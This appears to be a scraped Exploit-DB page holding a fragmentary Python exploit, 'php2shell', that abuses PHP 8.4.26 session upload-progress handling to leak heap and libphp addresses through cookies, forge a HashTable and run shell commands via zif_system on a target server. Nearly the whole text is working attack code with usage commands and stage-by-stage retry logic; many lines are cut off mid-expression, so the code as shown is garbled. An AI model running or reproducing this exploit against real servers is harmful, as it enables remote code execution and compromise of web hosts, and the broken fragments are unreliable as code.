Skip to content
Exploits 52704

Exploits 52704

www.exploit-db.com • October 22, 2026

python3 exploit.py -u -c 'id>/out/p1' --proof-file out/p1

python3 exploit.py -u -c 'id>/tmp/p1' --proof-file /tmp/p1

The command is embedded in a 167-byte live zend_string; the maximum command

length for this payload layout is 14 bytes. For a longer command, chain it

through a short shell trigger, e.g. `sh bytes:

out += b'Content-Disposition: form-data; name="' + name + b'"'

out += b'; filename="' + p["filename"].encode() + b'"'

out += b"\r\nContent-Type: application/octet-stream"

def read_offsets_file(path: str) -> dict[str, int]:

"""Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py."""

with open(path, "r", encoding="utf-8") as f:

if not line or line.startswith("#") or "=" not in line:

def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):

raise ValueError("URL must be http:// or

self.port = u.port or (443 if self.https else 80)

s = socket.create_connection((self.host, self.port), timeout=self.timeout)

s = ctx.wrap_socket(s, server_hostname=self.host)

s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

def post(self, body: bytes, boundary: bytes, read_cap: int = 1 bytes:

for k, v in (extra_headers or {}).items():

f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"

# Read concurrently with the upload: some exploit requests make the

# worker abort right after sending Set-Cookie, and a recv() that starts

# after the RST loses the already-buffered response.

reader = threading.Thread(target=_reader, daemon=True)

pass # the worker may abort while the body is still in flight

reader.join(timeout=(timeout or self.timeout) + 1.0)

def get(self, path: str, read_cap: int = 1 tuple[int, bytes]:

head, _, body = bytes(data).partition(b"\r\n\r\n")

m = re.match(rb"HTTP/1\.[01] (\d{3})", head)

return (int(m.group(1)) if m else 0), body

m = re. (rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)

return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))

def chunk_base_from_cookie(raw: bytes) -> int:

"""Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie."""

v = int.from_bytes(raw[i:i + 8], "little")

def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int:

"""Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.

The page-aligned check is 4KB, not 2MB: the lab build happened to map

libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it

at a 4KB boundary (e.g. base 0x...acdb000).

if not (0x7F0000000000 tuple[bytes, bytes]:

f"command is {len(cmd)} bytes; the 167-byte carrier allows at most "

struct.pack_into(" None:

"""Write the fake reference over PS(http_session_vars) and execute."""

{"name": "PHPSESSID", "data": b"a" * 19},

{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},

name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]

parts.append({"name": name, "data": b"V" * vl})

parts += [self._file_part(), self._big_field()]

# Keep PS(id) valid: php_session_initialize then leaves

# send_cookie=0, so B's init does not allocate the Set-Cookie

# header at R0+16 (which would clobber val.type).

extra = {"Cookie": "PHPSESSID=" + "a" * 32}

self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,

read_cap=1 << 20, timeout=max(90.0, self.t.timeout),

ht, ref = self._fake_payload(htdata, zif)

{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},

# The bookworm reference is still alive (rc=2). A 15-byte

# bin-40 zend_string lands its chars exactly at

# PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the

# low 7 bytes of val.value to the fake HashTable, and let the

# high byte stay 0x00 (canonical 0x00007f... pointer).

carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]

parts.append({"name": f"f{i:02d}", "data": b"F" * 15})

parts.append({"name": "g00", "data": carrier})

parts.append({"name": f"a{i:030d}"[:31], "data": ht})

parts.append({"name": f"a{i:030d}"[:31], "data": ht})

parts.append({"name": f"f{i:02d}", "data": ref})

self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,

description="php2shell one-click exploit (official php:8.4.26-apache / lab)",

formatter_class=argparse.ArgumentDefaultsHelpFormatter,

ap.add_argument("-u", "--url", required=True,

help="target PHP page, e.g.

ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,

help=f"command to execute (max {MAX_CMD} bytes)")

ap.add_argument("--proof-file", default=DEFAULT_PROOF,

help="read this local file after exploitation; '' disables")

help="GET this path afterwards (for commands writing to webroot)")

ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None,

help=f"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})")

ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None,

help=f"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})")

ap.add_argument("--profile", choices=("lab", "bookworm"), default="bookworm",

help="target build profile: bookworm (official image, default) or lab (Apache 2.4.68)")

ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None,

help="chunk-relative offset of the 167-byte live string")

ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS,

help="read libphp offsets from this file ('' to disable)")

ap.add_argument("--docker-container", default="php2shell-target",

help="container used to auto-derive offsets on localhost")

ap.add_argument("--no-auto-offsets", action="store_true",

help="never run docker/offsets.py automatically")

ap.add_argument("--huge-mb", type=int, default=12,

help="size of the OOM field; must exceed memory_limit")

ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout")

ap.add_argument("--no-pre-rotate", action="store_true",

ap.add_argument("--no-retry-rotate", action="store_true",

help="do not rotate between failed stage attempts")

ap.add_argument("--retries", type=int, default=3,

help="attempts per leak stage; stage 3 uses retries+2")

ap.add_argument("-q", "--quiet", action="store_true")

ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier")

args.htdata_offset = (BOOKWORM_HTDATA_OFFSET if args.profile == "bookworm"

local_offsets = read_offsets_file(args.offsets_file)

t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)

# A local docker target may be built from a different image/toolchain than

# the lab; ask the container for its real libphp offsets once.

if (not local_offsets and not args.no_auto_offsets and args.offsets_file

and t.host in ("127.0.0.1", "localhost", "::1")):

helper = os.path.join(_HERE, "docker", "offsets.py")

print("[*] no offsets file; reading libphp symbols from "

f"container {args.docker_container}", flush=True)

[sys.executable, helper, args.docker_container, args.offsets_file],

stdout=None if not args.quiet else subprocess.DEVNULL,

stderr=None if not args.quiet else subprocess.DEVNULL,

except (OSError, subprocess.SubprocessError):

local_offsets = read_offsets_file(args.offsets_file)

args.zif_offset = local_offsets.get("ZIF_OFFSET", ZIF_OFFSET)

args.dtor_offset = local_offsets.get("DTOR_OFFSET", DTOR_OFFSET)

ex = Exploit(t, args.cmd, zif_offset=args.zif_offset,

dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,

huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile)

t.log(f"[*] target {args.url} (cmd={args.cmd!r})")

t.log(f"[*] offsets loaded from {args.offsets_file}")

t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "

for attempt in range(1, args.retries + 1):

t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")

print("HEAP_LEAK_FAILED", file=sys.stderr)

ex.rotate() # each stage needs a fresh worker

for attempt in range(1, args.retries + 1):

t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")

print("LIBPHP_LEAK_FAILED", file=sys.stderr)

t.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")

for attempt in range(1, args.retries + 3):

proof = f.read().decode("latin1").strip()

t.log(f"[-] stage 3 attempt {attempt} no proof yet")

print("EXPLOIT_FAILED (no proof; the command may still have executed blind)",

Extracted Entities